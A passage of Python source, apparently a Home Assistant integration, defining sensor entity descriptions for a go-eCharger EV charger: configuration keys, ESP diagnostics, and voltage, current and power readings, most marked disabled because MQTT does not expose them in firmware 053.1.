disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="mptwt", name="Minimum phase toggle wait time", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="mpwst", name="Minimum phase wish switch time", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="pass", name="User password", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="psmd", name="Force single phase duration", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="sch_satur", name="Scheduler saturday", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="sch_sund", name="Scheduler sunday", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="sch_week", name="Scheduler weekday", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="spl3", name="Three phase switch level", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, # This unit is a best guess state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="sumd", name="Simulate unplugging duration", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="tds", name="Timezone daylight saving mode", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="tof", name="Timezone offset in minutes", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ts", name="Time server", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="tssi", name="Time server sync interval", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="tssm", name="Time server sync mode", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="tsss", name="Time server sync status", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ust", name="Cable unlock mode", state=transform_code, attribute="ust", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:account-lock-open", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="ust", name="Cable unlock mode code", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:account-lock-open", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="wak", name="WiFi accesspoint encryption key", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="wan", name="WiFi accesspoint network name", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="wifis", name="WiFi configurations", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="apd", name="Firmware description", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="arv", name="App recommended version", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:numeric", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ecf", name="ESP CPU frequency", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="eci", name="ESP Chip info", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="eem", name="ESP CPU frequency", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="efi", name="ESP Flash info", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="facwak", name="WiFi accesspoint key reset value", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="fem", name="Flash encryption mode", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ffna", name="Factory friendly name", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="fwan", name="Factory WiFi accesspoint network name", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="fwc", name="Firmware from car control", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="fwv", name="Firmware version", state=remove_quotes, entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:numeric", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="mod", name="Hardware version", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:numeric", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="oem", name="Manufacturer", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="otap", name="Active OTA partition", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="part", name="Partition table", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="pto", name="Partition table offset in flash", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="sse", name="Serial number", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="typ", name="Device type", entity_category=None, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="var", name="Device variant", entity_category=None, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_KILO_WATT, state_class=None, icon="mdi:image-size-select-large", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="del", name="Delete card", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="delw", name="Delete STA config", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lrn", name="Learn card", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="oct", name="Firmware update trigger", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="acu", name="Maximum allowed current", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="amt", name="Current temperature limit", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_TEMPERATURE, native_unit_of_measurement=TEMP_CELSIUS, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="atp", name="Next trip plan data", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="awcp", name="Awattar current price", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="awpl", name="Awattar price list", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="car", name="Car state", state=transform_code, attribute="car", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:heart-pulse", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="cbl", name="Cable maximum current", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="ccu", name="Charge controller update progress", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ccw", name="Connected WiFi", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="JSON decoding required. Values non-essential", ), GoEChargerSensorEntityDescription( key="cdi", name="Charging duration", state=extract_charging_duration, attribute="1", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="cdi", name="Charging duration counter", state=extract_charging_duration, attribute="0", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:counter", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cus", name="Cable unlock status", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:shield-lock-open-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="cwsca", name="Cloud websocket connected", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="efh", name="ESP free heap", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="efh32", name="ESP free heap 32bit aligned", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="efh8", name="ESP free heap 8bit aligned", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ehs", name="ESP heap size", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="emfh", name="ESP minimum free heap since boot", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="emhb", name="ESP maximum size of allocated heap block since boot", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="err", name="Error", state=transform_code, attribute="err", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:alert-circle-outline", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="err", name="Error code", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:alert-circle-outline", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="esr", name="RTC reset reason", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="eto", name="Total energy", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_TOTAL_INCREASING, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="etop", name="Total energy persisted", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_TOTAL_INCREASING, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ffb", name="Lock feedback", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="ffba", name="Lock feedback age", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="fhz", name="Grid frequency", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=FREQUENCY_HERTZ, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:current-ac", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="fsptws", name="Force single phase toggle wished since", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="host", name="Hostname on STA interface", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lbp", name="Last button press", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="lccfc", name="Last car state changed from charging", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="lccfi", name="Last car state changed from idle", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="lcctc", name="Last car state changed to charging", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="lck", name="Effective lock setting", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="led", name="LED animation details", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lfspt", name="Last force single phase toggle", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lmsc", name="Last mode change", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="loa", name="Load balancing available current", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="loc", name="Local time", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Valueless with a high update interval of 1s", ), GoEChargerSensorEntityDescription( key="lom", name="Load balancing members", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, icon="mdi:account-multiple", disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="los", name="Load balancing status", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lssfc", name="WiFi station disconnected since", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lsstc", name="WiFi station connected since", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="mcpea", name="Minimum charge pause ends at", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="mmp", name="Maximum measured charging power", entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="modelStatus", name="Status", state=transform_code, attribute="modelStatus", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:heart-pulse", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="modelStatus", name="Status code", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:heart-pulse", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="msi", name="Reason why we allow charging or not", entity_category=EntityCategory.DIAGNOSTIC, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="nrg", attribute="0", name="Voltage L1", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_VOLTAGE, native_unit_of_measurement=ELECTRIC_POTENTIAL_VOLT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="1", name="Voltage L2", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_VOLTAGE, native_unit_of_measurement=ELECTRIC_POTENTIAL_VOLT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="2", name="Voltage L3", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_VOLTAGE, native_unit_of_measurement=ELECTRIC_POTENTIAL_VOLT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="3", name="Voltage N", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_VOLTAGE, native_unit_of_measurement=ELECTRIC_POTENTIAL_VOLT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="4", name="Current L1", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="5", name="Current L2", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="6", name="Current L3", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="7", name="Power L1", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="8", name="Power L2", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="9", name="Power L3", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="10", name="Power N", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="11", name="Current power", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, device_class=DEVICE_CLASS_POWER, native_unit_of_measurement=POWER_WATT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="nrg", attribute="12", name="Power factor L1", state=extract_item_from_array_to_int, entity_category=EntityCategory.DIAGNOSTIC, 